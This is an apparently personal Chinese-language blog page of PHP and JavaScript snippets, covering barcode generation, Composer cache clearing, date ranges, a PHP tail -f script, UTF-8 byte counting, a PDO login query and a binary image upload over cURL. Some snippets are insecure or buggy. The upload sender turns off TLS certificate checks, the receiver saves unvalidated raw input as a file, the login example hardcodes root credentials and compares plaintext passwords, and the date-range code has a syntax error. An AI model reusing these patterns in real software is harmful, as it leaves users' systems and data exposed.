class="line"></span><br><span class="line">        echo <span class="string">'&lt;hr&gt;'</span>;</span><br><span class="line">        echo <span class="string">'&lt;p&gt;Example - Code128&lt;/p&gt;'</span>;</span><br><span class="line">        $barcode = <span class="keyword">new</span> BarcodeGenerator();</span><br><span class="line">        $barcode-&gt;setText(<span class="string">"0123456789"</span>);</span><br><span class="line">        $barcode-&gt;setType(BarcodeGenerator::Code128);</span><br><span class="line">        $barcode-&gt;setScale(<span class="number">2</span>);</span><br><span class="line">        $barcode-&gt;setThickness(<span class="number">25</span>);</span><br><span class="line">        $barcode-&gt;setFontSize(<span class="number">10</span>);</span><br><span class="line">        $code = $barcode-&gt;generate();</span><br><span class="line">        echo <span class="string">'&lt;img src="data:image/png;base64,'</span> . $code . <span class="string">'" /&gt;'</span>;</span><br><span class="line"></span><br><span class="line">        echo <span class="string">'&lt;hr&gt;'</span>;</span><br><span class="line">        echo <span class="string">'&lt;p&gt;Example - Code11&lt;/p&gt;'</span>;</span><br><span class="line">        $barcode = <span class="keyword">new</span> BarcodeGenerator();</span><br><span class="line">        $barcode-&gt;setText(<span class="string">"0123456789"</span>);</span><br><span class="line">        $barcode-&gt;setType(BarcodeGenerator::Code11);</span><br><span class="line">        $code = $barcode-&gt;generate();</span><br><span class="line">        echo <span class="string">'&lt;img src="data:image/png;base64,'</span> . $code . <span class="string">'" /&gt;'</span>;</span><br><span class="line"></span><br><span class="line">        echo <span class="string">'&lt;hr&gt;'</span>;</span><br><span class="line">        echo <span class="string">'&lt;p&gt;Example - Code39&lt;/p&gt;'</span>;</span><br><span class="line">        $barcode = <span class="keyword">new</span> BarcodeGenerator();</span><br><span class="line">        $barcode-&gt;setText(<span class="string">"0123456789"</span>);</span><br><span class="line">        $barcode-&gt;setType(BarcodeGenerator::Code39);</span><br><span class="line">        $code = $barcode-&gt;generate();</span><br><span class="line">        echo <span class="string">'&lt;img src="data:image/png;base64,'</span> . $code . <span class="string">'" /&gt;'</span>;</span><br><span class="line"></span><br><span class="line">        echo <span class="string">'&lt;hr&gt;'</span>;</span><br><span class="line">        echo <span class="string">'&lt;p&gt;Example - Code39Extended&lt;/p&gt;'</span>;</span><br><span class="line">        $barcode = <span class="keyword">new</span> BarcodeGenerator();</span><br><span class="line">        $barcode-&gt;setText(<span class="string">"0123456789"</span>);</span><br><span class="line">        $barcode-&gt;setType(BarcodeGenerator::Code39Extended);</span><br><span class="line">        $code = $barcode-&gt;generate();</span><br><span class="line">        echo <span class="string">'&lt;img src="data:image/png;base64,'</span> . $code . <span class="string">'" /&gt;'</span>;</span><br><span class="line"></span><br><span class="line">        echo <span class="string">'&lt;hr&gt;'</span>;</span><br><span class="line">        echo <span class="string">'&lt;p&gt;Example - Ean128&lt;/p&gt;'</span>;</span><br><span class="line">        $barcode = <span class="keyword">new</span> BarcodeGenerator();</span><br><span class="line">        $barcode-&gt;setText(<span class="string">"00123456789012345675"</span>);</span><br><span class="line">        $barcode-&gt;setType(BarcodeGenerator::Ean128);</span><br><span class="line">        $code = $barcode-&gt;generate();</span><br><span class="line">        echo <span class="string">'&lt;img src="data:image/png;base64,'</span> . $code . <span class="string">'" /&gt;'</span>;</span><br><span class="line"></span><br><span class="line">        echo <span class="string">'&lt;hr&gt;'</span>;</span><br><span class="line">        echo <span class="string">'&lt;p&gt;Example - Gs1128&lt;/p&gt;'</span>;</span><br><span class="line">        $barcode = <span class="keyword">new</span> BarcodeGenerator();</span><br><span class="line">        $barcode-&gt;setText(<span class="string">"00123456789012345675"</span>);</span><br><span class="line">        $barcode-&gt;setType(BarcodeGenerator::Gs1128);</span><br><span class="line">        $code = $barcode-&gt;generate();</span><br><span class="line">        echo <span class="string">'&lt;img src="data:image/png;base64,'</span> . $code . <span class="string">'" /&gt;'</span>;</span><br><span class="line"></span><br><span class="line">        echo <span class="string">'&lt;hr&gt;'</span>;</span><br><span class="line">        echo <span class="string">'&lt;p&gt;Example - Gs1128&lt;/p&gt;'</span>;</span><br><span class="line">        $barcode = <span class="keyword">new</span> BarcodeGenerator();</span><br><span class="line">        $barcode-&gt;setText(<span class="string">"4157707266014651802001012603068039000000006377069620171215"</span>);</span><br><span class="line">        $barcode-&gt;setType(BarcodeGenerator::Gs1128);</span><br><span class="line">        $barcode-&gt;setNoLengthLimit(<span class="literal">true</span>);</span><br><span class="line">        $barcode-&gt;setAllowsUnknownIdentifier(<span class="literal">true</span>);</span><br><span class="line">        $code = $barcode-&gt;generate();</span><br><span class="line">        echo <span class="string">'&lt;img src="data:image/png;base64,'</span> . $code . <span class="string">'" /&gt;'</span>;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// i15为偶数</span></span><br><span class="line">        echo <span class="string">'&lt;hr&gt;'</span>;</span><br><span class="line">        echo <span class="string">'&lt;p&gt;Example - I25&lt;/p&gt;'</span>;</span><br><span class="line">        $barcode = <span class="keyword">new</span> BarcodeGenerator();</span><br><span class="line">        $barcode-&gt;setText(<span class="string">"00123456789012345675"</span>);</span><br><span class="line">        $barcode-&gt;setType(BarcodeGenerator::I25);</span><br><span class="line">        $code = $barcode-&gt;generate();</span><br><span class="line">        echo <span class="string">'&lt;img src="data:image/png;base64,'</span> . $code . <span class="string">'" /&gt;'</span>;</span><br><span class="line"></span><br><span class="line">        echo <span class="string">'&lt;hr&gt;'</span>;</span><br><span class="line">        echo <span class="string">'&lt;p&gt;Example - Isbn&lt;/p&gt;'</span>;</span><br><span class="line">        $barcode = <span class="keyword">new</span> BarcodeGenerator();</span><br><span class="line">        $barcode-&gt;setText(<span class="string">"0012345678901"</span>);</span><br><span class="line">        $barcode-&gt;setType(BarcodeGenerator::Isbn);</span><br><span class="line">        $code = $barcode-&gt;generate();</span><br><span class="line">        echo <span class="string">'&lt;img src="data:image/png;base64,'</span> . $code . <span class="string">'" /&gt;'</span>;</span><br><span class="line"></span><br><span class="line">        echo <span class="string">'&lt;hr&gt;'</span>;</span><br><span class="line">        echo <span class="string">'&lt;p&gt;Example - Msi&lt;/p&gt;'</span>;</span><br><span class="line">        $barcode = <span class="keyword">new</span> BarcodeGenerator();</span><br><span class="line">        $barcode-&gt;setText(<span class="string">"0012345678901"</span>);</span><br><span class="line">        $barcode-&gt;setType(BarcodeGenerator::Msi);</span><br><span class="line">        $code = $barcode-&gt;generate();</span><br><span class="line">        echo <span class="string">'&lt;img src="data:image/png;base64,'</span> . $code . <span class="string">'" /&gt;'</span>;</span><br><span class="line"></span><br><span class="line">        echo <span class="string">'&lt;hr&gt;'</span>;</span><br><span class="line">        echo <span class="string">'&lt;p&gt;Example - Postnet&lt;/p&gt;'</span>;</span><br><span class="line">        $barcode = <span class="keyword">new</span> BarcodeGenerator();</span><br><span class="line">        $barcode-&gt;setText(<span class="string">"01234567890"</span>);</span><br><span class="line">        $barcode-&gt;setType(BarcodeGenerator::Postnet);</span><br><span class="line">        $code = $barcode-&gt;generate();</span><br><span class="line">        echo <span class="string">'&lt;img src="data:image/png;base64,'</span> . $code . <span class="string">'" /&gt;'</span>;</span><br><span class="line"></span><br><span class="line">        echo <span class="string">'&lt;hr&gt;'</span>;</span><br><span class="line">        echo <span class="string">'&lt;p&gt;Example - S25&lt;/p&gt;'</span>;</span><br><span class="line">        $barcode = <span class="keyword">new</span> BarcodeGenerator();</span><br><span class="line">        $barcode-&gt;setText(<span class="string">"012345678901"</span>);</span><br><span class="line">        $barcode-&gt;setType(BarcodeGenerator::S25);</span><br><span class="line">        $code = $barcode-&gt;generate();</span><br><span class="line">        echo <span class="string">'&lt;img src="data:image/png;base64,'</span> . $code . <span class="string">'" /&gt;'</span>;</span><br><span class="line"></span><br><span class="line">        echo <span class="string">'&lt;hr&gt;'</span>;</span><br><span class="line">        echo <span class="string">'&lt;p&gt;Example - Upca&lt;/p&gt;'</span>;</span><br><span class="line">        $barcode = <span class="keyword">new</span> BarcodeGenerator();</span><br><span class="line">        $barcode-&gt;setText(<span class="string">"012345678901"</span>);</span><br><span class="line">        $barcode-&gt;setType(BarcodeGenerator::Upca);</span><br><span class="line">        $code = $barcode-&gt;generate();</span><br><span class="line">        echo <span class="string">'&lt;img src="data:image/png;base64,'</span> . $code . <span class="string">'" /&gt;'</span>;</span><br><span class="line"></span><br><span class="line">        echo <span class="string">'&lt;hr&gt;'</span>;</span><br><span class="line">        echo <span class="string">'&lt;p&gt;Example - Upce&lt;/p&gt;'</span>;</span><br><span class="line">        $barcode = <span class="keyword">new</span> BarcodeGenerator();</span><br><span class="line">        $barcode-&gt;setText(<span class="string">"012345"</span>);</span><br><span class="line">        $barcode-&gt;setType(BarcodeGenerator::Upce);</span><br><span class="line">        $code = $barcode-&gt;generate();</span><br><span class="line">        echo <span class="string">'&lt;img src="data:image/png;base64,'</span> . $code . <span class="string">'" /&gt;'</span>;</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">https:<span class="comment">//learnku.com/laravel/t/31325</span></span><br></pre></td></tr></table></figure>
<h3 id="Composer-输入账号密码"><a href="#Composer-输入账号密码" class="headerlink" title="Composer 输入账号密码"></a>Composer 输入账号密码</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">把 composer.lock 文件， vendor 目录删掉。 然后</span><br><span class="line"></span><br><span class="line">composer global clearcache</span><br><span class="line"></span><br><span class="line">composer clearcache</span><br></pre></td></tr></table></figure>
<h3 id="foreach-引用"><a href="#foreach-引用" class="headerlink" title="foreach 引用"></a>foreach 引用</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">$array = [<span class="string">'zero'</span>, <span class="string">'one'</span>, <span class="string">'two'</span>, <span class="string">'three'</span>];</span><br><span class="line">$value = &amp;$array[<span class="number">3</span>];</span><br><span class="line"><span class="comment">// foreach 的作用如上</span></span><br><span class="line"><span class="comment">// $value 现在是$array[3]的地址</span></span><br><span class="line">$value = <span class="number">100</span>;</span><br><span class="line"><span class="comment">// 相当于 $array[3] 的内存地址为 100</span></span><br><span class="line"></span><br><span class="line">dump($array);</span><br><span class="line"></span><br><span class="line">array:<span class="number">4</span> [▼</span><br><span class="line">  <span class="number">0</span> =&gt; <span class="string">"zero"</span></span><br><span class="line">  <span class="number">1</span> =&gt; <span class="string">"one"</span></span><br><span class="line">  <span class="number">2</span> =&gt; <span class="string">"two"</span></span><br><span class="line">  <span class="number">3</span> =&gt; &amp; <span class="number">100</span></span><br><span class="line">]</span><br></pre></td></tr></table></figure>
<h3 id="获取日期数组"><a href="#获取日期数组" class="headerlink" title="获取日期数组"></a>获取日期数组</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">getDateRange</span>(<span class="params">$startDate, $endDate</span>)</span>&#123;</span><br><span class="line">	$startTimeStamp = strtotime($startDate);</span><br><span class="line">	$endTimeStamp = strtotime($endDate);</span><br><span class="line"></span><br><span class="line">	<span class="comment">// 计算日期段内有多少天</span></span><br><span class="line">	$days = ($endTimeStamp-$startTimeStamp) / <span class="number">86400</span>;</span><br><span class="line"></span><br><span class="line">	<span class="comment">// 保存每天日期</span></span><br><span class="line">	$date = array();</span><br><span class="line"></span><br><span class="line">	<span class="keyword">for</span>($i=<span class="number">0</span>; $i&lt;$days; $i++)&#123;</span><br><span class="line">		$date[] = date(<span class="string">'Y-m-d'</span>, $startTimeStamp+(<span class="number">86400</span>*$i));</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="keyword">return</span> $date;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">$list = getDateRange(<span class="string">'2018/01/01'</span>, <span class="string">'2018/01/03);</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">/**</span></span><br><span class="line"><span class="string"> * $list 如下 </span></span><br><span class="line"><span class="string"> * [2018-01-01,2018-01-02,2018-01-03]</span></span><br><span class="line"><span class="string"> */</span></span><br></pre></td></tr></table></figure>
<h3 id="女神QQ号码"><a href="#女神QQ号码" class="headerlink" title="女神QQ号码"></a>女神QQ号码</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line">取整=&gt;取余=&gt;取余*<span class="number">10</span>+取整。。。。。取余取整的对象都是<span class="number">10</span>的倍数，根据位数而定，每次取整之后就是一位，循环直到数字等于<span class="number">0</span>。</span><br><span class="line">$raw_num = <span class="number">631758924</span>;</span><br><span class="line">$num = <span class="number">0</span>;</span><br><span class="line">$devisor = <span class="number">1</span>;</span><br><span class="line"><span class="keyword">while</span>($devisor &lt; $raw_num)</span><br><span class="line">&#123;</span><br><span class="line">    $devisor *= <span class="number">10</span>;     <span class="comment">//获取最小的大于raw_num的10的倍数的整数https://www.cnblogs.com/iforever/p/4584490.html</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span> ($raw_num &gt; <span class="number">0</span>) &#123;</span><br><span class="line">    $devisor /= <span class="number">10</span>;</span><br><span class="line">    $next = floor($raw_num / $devisor); <span class="comment">//获取下一个数字</span></span><br><span class="line">    $num = $num*<span class="number">10</span> + $next;             <span class="comment">//计算”半成品“QQ号码</span></span><br><span class="line">    $raw_num = $raw_num % $devisor;</span><br><span class="line">    $last = floor($raw_num * <span class="number">10</span> / $devisor);    <span class="comment">//移动数字，拼接最新的QQ号码</span></span><br><span class="line"></span><br><span class="line">    $pre = $raw_num % (ceil($devisor / <span class="number">10</span>));</span><br><span class="line"></span><br><span class="line">    $raw_num = $pre * <span class="number">10</span> + $last;   </span><br><span class="line">&#125;</span><br><span class="line">echo <span class="string">"恭喜你啦，成功获取QQ号码：&#123;$num&#125;"</span>;    <span class="comment">//恭喜你啦，成功获取QQ号码：615947283</span></span><br><span class="line"><span class="keyword">var</span> n = <span class="string">"631758924"</span>;</span><br><span class="line"><span class="keyword">var</span> arr = [];</span><br><span class="line"><span class="keyword">var</span> res = [];</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span>(<span class="keyword">var</span> i=<span class="number">0</span>; i&lt;n.length; i++) &#123;</span><br><span class="line">    arr.push(n.charAt(i));</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span>(arr.length) &#123;</span><br><span class="line">    <span class="keyword">if</span>(arr.length !== <span class="number">1</span>) &#123;</span><br><span class="line">        res.push( arr.shift() );</span><br><span class="line">        arr.push( arr.shift() );    </span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        res.push( arr.shift() );</span><br><span class="line">    &#125;</span><br><span class="line">&#125;   </span><br><span class="line"><span class="built_in">console</span>.log(res.join(<span class="string">''</span>)); <span class="comment">//615947283</span></span><br><span class="line">&gt;&gt;&gt; qq = lambda e:len(e)&gt;<span class="number">1</span> and e[<span class="number">0</span>]+qq(e[<span class="number">2</span>:]+e[<span class="number">1</span>]) or e</span><br><span class="line">&gt;&gt;&gt; print qq(<span class="string">'631758924'</span>)</span><br><span class="line"><span class="number">615947283</span></span><br></pre></td></tr></table></figure>
<h3 id="PHP实现linux命令tail-f"><a href="#PHP实现linux命令tail-f" class="headerlink" title="PHP实现linux命令tail -f"></a>PHP实现linux命令tail -f</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#!/usr/bin/env php </span></span><br><span class="line">&lt;?php</span><br><span class="line"><span class="keyword">if</span>(<span class="number">2</span> != count($argv))&#123;</span><br><span class="line">    fwrite(</span><br><span class="line">        STDERR,</span><br><span class="line">        <span class="string">"调用格式错误！使用格式 ./tail filename"</span>.PHP_EOL</span><br><span class="line">    );  </span><br><span class="line">    <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">//https://www.cnblogs.com/iforever/p/5202197.html</span></span><br><span class="line">$file_name      = $argv[<span class="number">1</span>];</span><br><span class="line">define(<span class="string">"MAX_SHOW"</span>, <span class="number">8192</span>);<span class="comment">//当内容长度超过这个阈值的时候，只输出最后面的8192个字节，这样就不会出现大面积的刷新导致看不清的问题</span></span><br><span class="line"></span><br><span class="line">$file_size      = <span class="number">0</span>;</span><br><span class="line">$file_size_new  = <span class="number">0</span>;</span><br><span class="line">$add_size       = <span class="number">0</span>;</span><br><span class="line">$ignore_size    = <span class="number">0</span>;</span><br><span class="line">$fp = fopen($file_name, <span class="string">"r"</span>);</span><br><span class="line"><span class="keyword">while</span>(<span class="number">1</span>)&#123;</span><br><span class="line">    clearstatcache();<span class="comment">//php中获取文件大小之前一定要运行函数clearstatcache()，清除文件状态缓存，否则获取文件大小可能会有偏差</span></span><br><span class="line">    $file_size_new  = filesize($file_name);</span><br><span class="line">    $add_size       = $file_size_new - $file_size;</span><br><span class="line">    <span class="keyword">if</span>($add_size &gt; <span class="number">0</span>)&#123; </span><br><span class="line">        <span class="keyword">if</span>($add_size &gt; MAX_SHOW)&#123;</span><br><span class="line">            $ignore_size    = $add_size - MAX_SHOW;</span><br><span class="line">            $add_size       = MAX_SHOW;</span><br><span class="line">            fseek($fp, $file_size + $ignore_size);</span><br><span class="line">        &#125;   </span><br><span class="line">        fwrite(</span><br><span class="line">            STDOUT,</span><br><span class="line">            fread($fp, $add_size)</span><br><span class="line">        );  </span><br><span class="line">        $file_size  = $file_size_new;</span><br><span class="line">    &#125;</span><br><span class="line">    usleep(<span class="number">50000</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">fclose($fp);</span><br></pre></td></tr></table></figure>
<h3 id="Unicode到UTF-8"><a href="#Unicode到UTF-8" class="headerlink" title="Unicode到UTF-8"></a>Unicode到UTF-8</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">汉   =&gt; <span class="function"><span class="params">E6B189</span> =&gt;</span> <span class="number">11100110</span> <span class="number">10110001</span> <span class="number">10001001</span> =&gt; <span class="number">01101100</span> <span class="number">01001001</span> =&gt; <span class="number">6</span>C49</span><br><span class="line">字   =&gt; <span class="function"><span class="params">E5AD97</span> =&gt;</span> <span class="number">11100101</span> <span class="number">10101101</span> <span class="number">10010111</span> =&gt; <span class="number">01011011</span> <span class="number">01010111</span> =&gt; <span class="number">5</span>B57</span><br><span class="line"></span><br><span class="line">#下面是在chrome命令行下面运行的结果</span><br><span class="line"><span class="string">'\u6C49'</span></span><br><span class="line"><span class="string">"汉"</span></span><br><span class="line"><span class="string">'\u5B57'</span></span><br><span class="line"><span class="string">"字"</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">utf8_bytes</span>(<span class="params">str</span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">var</span> len = <span class="number">0</span>, unicode;</span><br><span class="line">    <span class="keyword">for</span>(<span class="keyword">var</span> i = <span class="number">0</span>; i &lt; str.length; i++)</span><br><span class="line">    &#123;</span><br><span class="line">        unicode = str.charCodeAt(i);</span><br><span class="line">        <span class="keyword">if</span>(unicode &lt; <span class="number">0x0080</span>) &#123;</span><br><span class="line">            ++len;</span><br><span class="line">        &#125; <span class="keyword">else</span> <span class="keyword">if</span>(unicode &lt; <span class="number">0x0800</span>) &#123;</span><br><span class="line">            len += <span class="number">2</span>;</span><br><span class="line">        &#125; <span class="keyword">else</span> <span class="keyword">if</span>(unicode &lt;= <span class="number">0xFFFF</span>) &#123;</span><br><span class="line">            len += <span class="number">3</span>;</span><br><span class="line">        &#125;<span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="string">"characters must be USC-2!!"</span></span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> len;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">#例子</span><br><span class="line">utf8_bytes(<span class="string">'asdasdas'</span>)</span><br><span class="line"><span class="number">8</span></span><br><span class="line">utf8_bytes(<span class="string">'yrt燕睿涛'</span>)</span><br><span class="line"><span class="number">12</span></span><br><span class="line">#对于GBK字符串https://www.cnblogs.com/iforever/p/4520692.html</span><br><span class="line">$len = ceil(strlen(bin2hex(iconv(<span class="string">'GBK'</span>, <span class="string">'UTF-8'</span>, $word)))/<span class="number">2</span>);</span><br><span class="line">#对于UTF8字符串</span><br><span class="line">$len = ceil(strlen(bin2hex($word))/<span class="number">2</span>);</span><br></pre></td></tr></table></figure>
<h3 id="PDO-防止-sql-注入"><a href="#PDO-防止-sql-注入" class="headerlink" title="PDO 防止 sql 注入"></a>PDO 防止 sql 注入</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">$user=$_POST[<span class="string">'user'</span>]; $pass=$_POST[<span class="string">'pass'</span>];</span><br><span class="line">  $dbh = <span class="keyword">new</span> \PDO(<span class="string">"mysql:host=localhost; dbname=zz"</span>, <span class="string">"root"</span>, <span class="string">"root"</span>);</span><br><span class="line">  $dbh-&gt;setAttribute(\PDO::ATTR_EMULATE_PREPARES, <span class="literal">false</span>);</span><br><span class="line">  <span class="comment">//禁用prepared statements的仿真效果</span></span><br><span class="line"><span class="comment">//        $dbh-&gt;exec    ("set names 'utf8'");</span></span><br><span class="line">  $sql=<span class="string">"select * from test where user=? and pass=?"</span>;</span><br><span class="line">  $stmt = $dbh-&gt;prepare($sql);</span><br><span class="line">  $exeres = $stmt-&gt;execute(array($user, $pass));</span><br><span class="line">  <span class="keyword">if</span> ($exeres) &#123;</span><br><span class="line">  <span class="comment">//while条件为真时,输出$row,</span></span><br><span class="line">  <span class="keyword">while</span></span><br><span class="line">  ($row = $stmt-&gt;fetch(\PDO::FETCH_ASSOC))&#123;</span><br><span class="line">  print_r($row);die();</span><br><span class="line"> &#125;  <span class="comment">//失败输出登录失败https://learnku.com/articles/27000</span></span><br><span class="line">  print_r(<span class="string">"登录失败"</span>);die();</span><br><span class="line"> &#125;</span><br></pre></td></tr></table></figure>
<h3 id="二进制上传图片"><a href="#二进制上传图片" class="headerlink" title="二进制上传图片"></a>二进制上传图片</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"> $postData=file_get_contents(<span class="string">'C:\Users\ASUS\Pictures\Saved Pictures\2.jpg'</span>);</span><br><span class="line">        $curl = curl_init();</span><br><span class="line">        curl_setopt($curl, CURLOPT_URL, <span class="string">'http://www.think.hk/upload1'</span>);</span><br><span class="line">        curl_setopt($curl, CURLOPT_USERAGENT,<span class="string">'Opera/9.80 (Windows NT 6.2; Win64; x64) Presto/2.12.388 Version/12.15'</span>);</span><br><span class="line">        curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, <span class="literal">false</span>); <span class="comment">// stop verifying certificate</span></span><br><span class="line">        curl_setopt($curl, CURLOPT_RETURNTRANSFER, <span class="literal">true</span>);</span><br><span class="line">        curl_setopt($curl, CURLOPT_POST, <span class="literal">true</span>);</span><br><span class="line">        curl_setopt($curl, CURLOPT_HTTPHEADER, array(<span class="string">'Content-Type: application/x-www-form-urlencoded'</span>));<span class="comment">//注意加这行代码</span></span><br><span class="line">        curl_setopt($curl, CURLOPT_POSTFIELDS, $postData);</span><br><span class="line">        curl_setopt($curl, CURLOPT_FOLLOWLOCATION, <span class="literal">true</span>);</span><br><span class="line">        $r = curl_exec($curl);</span><br><span class="line">        curl_close($curl);</span><br><span class="line">        print_r($r);</span><br><span class="line">接收二进制</span><br><span class="line"></span><br><span class="line"> $xmlstr = file_get_contents(<span class="string">'php://input'</span>) ? file_get_contents(<span class="string">'php://input'</span>) : gzuncompress($GLOBALS[<span class="string">'HTTP_RAW_POST_DATA'</span>]);<span class="comment">//得到post过来的二进制原始数据</span></span><br><span class="line"><span class="comment">//echo $xmlstr;die;</span></span><br><span class="line">        $filename=time().<span class="string">'.png'</span>;</span><br><span class="line">        $info=file_put_contents($filename,$xmlstr);</span><br><span class="line">        <span class="keyword">if</span> ($info) &#123;</span><br><span class="line">            $result = [</span><br><span class="line">                <span class="string">'error'</span> =&gt; <span class="string">'成功'</span>,</span><br><span class="line">                <span class="string">'url'</span>   =&gt; $filename</span><br><span class="line">            ];</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            $result = [<span class="string">'error'</span>   =&gt; <span class="number">1</span>,</span><br><span class="line">                <span class="string">'message'</span> =&gt; <span class="number">404</span></span><br><span class="line">            ];</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> json_encode($result);</span><br></pre></td></tr></table></figure>
